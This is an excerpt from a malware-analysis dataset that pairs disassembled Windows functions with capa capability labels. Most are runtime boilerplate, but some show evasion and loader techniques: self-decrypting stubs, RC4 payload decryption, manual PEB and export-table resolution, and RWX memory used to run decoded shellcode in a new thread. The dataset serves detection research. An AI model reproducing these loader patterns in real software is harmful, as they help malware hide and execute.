joyce8/EMBER2024-capa huggingface dataset:
Function at 0x445629
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ebx
je 0x445666
cmp dword [ebp + 0x14], edi
je 0x445666
cmp ecx, edi
jne 0x44566d
call fcn.00442f81
push edi
push edi
push edi
push edi
mov dword [eax], 0x16
push edi
call fcn.00441704
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x445681
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
jbe 0x4456a2
cmp ebx, 0xffffffff
je 0x445691
push ebx
push edi
push ecx
call fcn.00442fd0
add esp, 0xc
cmp esi, edi
je 0x44564e
or eax, 0xffffffff
xor edx, edx
div dword [ebp + 0x10]
cmp dword [ebp + 0x14], eax
ja 0x44564e
mov edi, dword [ebp + 0x10]
imul edi, dword [ebp + 0x14]
test word [esi + 0xc], 0x10c
mov dword [ebp - 0x10], edi
mov ebx, edi
je 0x4456be
mov eax, dword [esi + 0x18]
mov dword [ebp - 0xc], eax
jmp 0x4456c5
mov dword [ebp - 0xc], 0x1000
test edi, edi
je 0x4457b6
test word [esi + 0xc], 0x10c
je 0x445719
mov eax, dword [esi + 4]
test eax, eax
je 0x445719
jl 0x445817
cmp ebx, eax
mov edi, ebx
jb 0x4456ea
mov edi, eax
cmp edi, dword [ebp - 4]
ja 0x4457be
push edi
push dword [esi]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.0043fe52
sub dword [esi + 4], edi
add dword [esi], edi
add dword [ebp - 8], edi
sub ebx, edi
add esp, 0x10
sub dword [ebp - 4], edi
mov edi, dword [ebp - 0x10]
jmp 0x4457ae
cmp ebx, dword [ebp - 0xc]
jb 0x445786
cmp dword [ebp - 0xc], 0
je 0x445743
mov ecx, SysReAllocString
xor edx, edx
cmp ebx, ecx
jbe 0x445738
mov eax, ecx
div dword [ebp - 0xc]
mov eax, ecx
jmp 0x44573f
mov eax, ebx
div dword [ebp - 0xc]
mov eax, ebx
sub eax, edx
jmp 0x44574e
mov eax, SysReAllocString
cmp ebx, eax
ja 0x44574e
mov eax, ebx
cmp eax, dword [ebp - 4]
ja 0x4457ea
push eax
push dword [ebp - 8]
push esi
call fcn.0044527e
pop ecx
push eax
call fcn.0044ffe2
add esp, 0xc
test eax, eax
je 0x445829
cmp eax, 0xffffffff
je 0x445817
add dword [ebp - 8], eax
sub ebx, eax
sub dword [ebp - 4], eax
jmp 0x4457ae
push esi
call fcn.0044f901
cmp eax, 0xffffffff
pop ecx
je 0x44581b
cmp dword [ebp - 4], 0
je 0x4457ea
mov ecx, dword [ebp - 8]
inc dword [ebp - 8]
mov byte [ecx], al
mov eax, dword [esi + 0x18]
dec ebx
dec dword [ebp - 4]
mov dword [ebp - 0xc], eax
test ebx, ebx
jne 0x4456cd
mov eax, dword [ebp + 0x14]
jmp 0x445668
xor esi, esi
cmp dword [ebp + 0xc], 0xffffffff
je 0x4457d5
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00442fd0
add esp, 0xc
call fcn.00442f81
push esi
push esi
push esi
push esi
mov dword [eax], 0x22
push esi
jmp 0x44565e
cmp dword [ebp + 0xc], 0xffffffff
je 0x445800
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
call fcn.00442fd0
add esp, 0xc
call fcn.00442f81
mov dword [eax], 0x22
xor eax, eax
push eax
push eax
push eax
push eax
push eax
jmp 0x44565e
or dword [esi + 0xc], 0x20
mov eax, edi
sub eax, ebx
xor edx, edx
div dword [ebp + 0x10]
jmp 0x445668
or dword [esi + 0xc], 0x10
jmp 0x44581b
Function at 0x44a82b
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x473db0]
je 0x44a846
inc edi
cmp edi, 0x17
jb 0x44a837
cmp edi, 0x17
jae 0x44a9c6
push ebp
push 3
call fcn.004522a7
cmp eax, 1
pop ecx
je 0x44a992
push 3
call fcn.004522a7
test eax, eax
pop ecx
jne 0x44a87a
cmp dword [0x473540], 1
je 0x44a992
cmp ebx, 0xfc
je 0x44a9c5
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x4771f8
push ebp
call fcn.004401b6
add esp, 0xc
test eax, eax
je 0x44a8b0
push esi
push esi
push esi
push esi
push esi
call fcn.00441608
add esp, 0x14
push 0x104
mov esi, 0x477211
push esi
push 0
mov byte [0x477315], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x44a8f4
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.004401b6
add esp, 0xc
test eax, eax
je 0x44a8f4
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00441608
add esp, 0x14
push esi
call fcn.00442e80
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x44a939
push esi
call fcn.00442e80
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x47750c
push 0x45fb44
sub ecx, eax
push ecx
push eax
call fcn.00444acc
add esp, 0x14
test eax, eax
je 0x44a939
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00441608
add esp, 0x14
jmp 0x44a93b
xor esi, esi
push 0x45fb40
push ebx
push ebp
call fcn.00440a6b
add esp, 0xc
test eax, eax
je 0x44a95b
push esi
push esi
push esi
push esi
push esi
call fcn.00441608
add esp, 0x14
push dword [edi*8 + 0x473db4]
push ebx
push ebp
call fcn.00440a6b
add esp, 0xc
test eax, eax
je 0x44a97d
push esi
push esi
push esi
push esi
push esi
call fcn.00441608
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.004520ea
add esp, 0xc
jmp 0x44a9c5
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x44a9c5
cmp ebp, 0xffffffff
je 0x44a9c5
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x473db4]
push dword [esi]
call fcn.00442e80
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4520ea
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00446ca4
xor ebx, ebx
cmp dword [0x4778b0], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4521c0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4522a0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x460cdc
push edi
call esi
cmp eax, ebx
je 0x4522a0
push eax
call fcn.00446c36
mov dword [esp], 0x460ccc
push edi
mov dword [0x4778b0], eax
call esi
push eax
call fcn.00446c36
mov dword [esp], 0x460cb8
push edi
mov dword [0x4778b4], eax
call esi
push eax
call fcn.00446c36
mov dword [0x4778b8], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00442c0d
test eax, eax
pop ecx
pop ecx
je 0x45218e
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00441608
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4521c0
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00446c36
cmp eax, ebx
pop ecx
mov dword [0x4778c0], eax
je 0x4521c0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00446c36
pop ecx
mov dword [0x4778bc], eax
mov eax, dword [0x4778bc]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x452245
cmp dword [0x4778c0], ecx
je 0x452245
push eax
call fcn.00446cad
push dword [0x4778c0]
mov esi, eax
call fcn.00446cad
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x452245
cmp edi, ebx
je 0x452245
call esi
cmp eax, ebx
je 0x452212
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x452212
test byte [ebp - 0x18], 1
jne 0x452245
lea eax, [ebp - 0x10]
push eax
call fcn.00442c44
test eax, eax
pop ecx
je 0x45222d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00441608
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x45223c
or dword [ebp + 0x10], 0x200000
jmp 0x452280
or dword [ebp + 0x10], 0x40000
jmp 0x452280
mov eax, dword [0x4778b4]
cmp eax, dword [ebp - 8]
je 0x452280
push eax
call fcn.00446cad
cmp eax, ebx
pop ecx
je 0x452280
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x452280
mov eax, dword [0x4778b8]
cmp eax, dword [ebp - 8]
je 0x452280
push eax
call fcn.00446cad
cmp eax, ebx
pop ecx
je 0x452280
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4778b0]
call fcn.00446cad
cmp eax, ebx
pop ecx
je 0x4522a0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4522a2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4562c2
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4736c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00456257
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00442fd0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x456311
cmp dword [ebp - 0x1c], 5
jb 0x456329
jmp 0x456325
cmp dword [ebp - 0x10], 1
jne 0x456329
cmp dword [ebp - 0x1c], 4
ja 0x456325
jne 0x456329
cmp dword [ebp - 0x18], 0
jbe 0x456329
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4615d0
call fcn.00456148
test eax, eax
jge 0x45634a
mov byte [0x5b44f0], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004404d0
add ebp, 0x78
leave
ret
Function at 0x1006dea7
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push edi
push 9
pop ecx
xor eax, eax
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [ebp - 0x24]
pop edi
sub eax, 0
je 0x1006dee8
sub eax, 5
je 0x1006dee4
sub eax, 1
je 0x1006dedf
sub eax, 3
je 0x1006dedf
xor eax, eax
jmp 0x1006deeb
push 2
pop eax
jmp 0x1006deeb
push 3
jmp 0x1006dee1
xor eax, eax
inc eax
mov esp, ebp
pop ebp
ret
Function at 0x41713b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x425458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408d95
mov dword [ebp - 0x14], eax
cmp dword [0x465138], esi
jne 0x41722e
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4171bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41730e
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x41730e
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41730e
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x465138], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x46513c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x465140], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x465148], eax
test eax, eax
je 0x41722b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x465144], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x417253
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x417246
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x417268
push 4
pop eax
jmp 0x417310
cmp dword [ebp - 0x14], esi
je 0x417268
push dword [0x465138]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41724d
mov eax, dword [0x465144]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4172c6
cmp dword [0x465148], edi
je 0x4172c6
push eax
call ebx
push dword [0x465148]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4172c6
test eax, eax
je 0x4172c6
call ecx
test eax, eax
je 0x4172bb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4172bb
test byte [ebp - 8], 1
jne 0x4172c6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4172f6
mov eax, dword [0x46513c]
cmp eax, edi
je 0x4172f3
push eax
call ebx
test eax, eax
je 0x4172f3
call eax
mov esi, eax
test esi, esi
je 0x4172f3
mov eax, dword [0x465140]
cmp eax, edi
je 0x4172f3
push eax
call ebx
test eax, eax
je 0x4172f3
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x465138]
call ebx
test eax, eax
je 0x41730e
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x417310
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f5b
mov esp, ebp
pop ebp
ret
Function at 0x403820
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x4038ab
cmp ax, 9
je 0x403898
cmp ax, 0x20
je 0x403898
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp ax, 0x5c
je 0x403900
cmp ax, 0x22
je 0x403910
mov dword [ebp - 0x54], 0
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x4038ab
cmp ax, 9
sete cl
cmp ax, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x403850
test edi, 1
jne 0x403850
lea esi, [esi]
movzx eax, word [ebx + 2]
add ebx, 2
cmp ax, 9
je 0x403898
cmp ax, 0x20
je 0x403898
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x24], 1
je 0x403928
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._wWinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
inc dword [ebp - 0x54]
jmp 0x40386b
and dword [ebp - 0x54], 1
jne 0x403864
xor edi, 1
jmp 0x40386b
mov eax, 1
mov esi, 1
mov word [ebp - 0x20], ax
jmp 0x4038c4

Function at 0x403940
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001070
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
jmp 0x1000113c
lea eax, [ebp - 0x104]
push eax
call 0x100012e8
push 0x1000107e
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x10001209
lea eax, [ebp - 0x108]
push eax
push 0x20019
push 0
push 0x10001112
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x1000126e
mov dword [ebp - 0x10c], 0x103
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x10001102
push dword [ebp - 0x108]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x108]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x1000126e
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x100011ee
mov word [ebx], 0x5c
push 0x10001132
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x1000126e
mov dword [0x1000300c], eax
push 0x10001107
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x10001263
push eax
push 0x3ea
call eax
pop edx
test eax, eax
je 0x10001263
mov dword [0x10003008], eax
push 0x3eb
mov ebx, section..data
call edx
test eax, eax
je 0x10001263
mov dword [section..data], edx
call 0x1000124a
add dword [esp], 0x4db6
call eax
mov dword [0x10003004], eax
sub esp, 4
pop dword [0x10003010]
leave
ret
push dword [0x1000300c]
call sub.KERNEL32.dll_FreeLibrary
mov dword [0x1000300c], 0
mov dword [section..data], 0xffffffff
mov dword [0x10003010], 0
mov dword [0x10003004], 0
mov dword [0x10003008], 0
push 0x10
push 0x1000112c
push 0x10001088
push 0
call sub.USER32.dll_MessageBoxA
push 0xffffffffffffffff
call sub.KERNEL32.dll_ExitProcess
leave
ret

Function at 0x10010b6b
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x10010bb2
cmp ebx, 0x20
je 0x10010bb2
cmp ebx, 0xffffffe0
je 0x10010bb2
jne 0x10010bbb
add eax, 1
cmp esi, eax
je 0x10010bc8
jne 0x10010b97
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x10010bcc
jne 0x10010b93
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4
Function at 0x10010be0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x10010c25
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x10010c2b
add eax, 4
pop esi
dec esi
push esi
jne 0x10010c0d
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x40195b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x214
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x18], cl
push 0x1b
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x478f80]
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, ebp
jl 0x40197c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x118]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x4019c2
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + ebx + 0x18], dl
cmp esi, ebp
jl 0x40199f
mov ebp, edi
mov dword [esp + 0x14], edi
inc edi
and edi, 0x800000ff
jns 0x4019ea
dec edi
or edi, 0xffffff00
inc edi
mov bl, byte [esp + edi + 0x18]
movzx esi, bl
add ebp, esi
and ebp, 0x800000ff
jns 0x401a03
dec ebp
or ebp, 0xffffff00
inc ebp
push 0x79
call fcn.00401d5a
push eax
call fcn.00403109
mov al, byte [esp + ebp + 0x1c]
mov byte [esp + edi + 0x1c], al
mov byte [esp + ebp + 0x1c], bl
movzx eax, byte [esp + edi + 0x1c]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x14]
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [ecx + 0x42cad0], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x4c000
jl 0x4019d9
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405c73
add esp, 0x214
ret

Function at 0x401c39
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x28
mov eax, dword [0x42c040]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
push edi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [esp + 0x18]
call fcn.00401e99
push 0xc
call fcn.00405c86
pop ecx
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.00401a5b
mov esi, eax
mov ecx, dword [esi + 4]
shl ecx, 2
push ecx
call fcn.00401d5a
push eax
call fcn.00403109
mov esi, dword [esi + 4]
shl esi, 2
pop ecx
sub esi, 0x40
push esi
call dword [sym.imp.GDI32.dll_GetMapMode]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], esi
push eax
push 0x40
mov edi, 0x4ac
push edi
push 0x478ad0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [esp + 0x10], esi
xor esi, esi
mov ecx, esi
mov al, byte [ecx + 0x478ad0]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [ecx + 0x478ad0], al
inc ecx
cmp ecx, edi
jb 0x401cc2
push ecx
push ecx
call fcn.0040195b
pop ecx
pop ecx
lea eax, [esp + 0x10]
push eax
push esi
push 0x42cad0
push 0x478c58
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.004027aa
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00405c73
mov esp, ebp
pop ebp
ret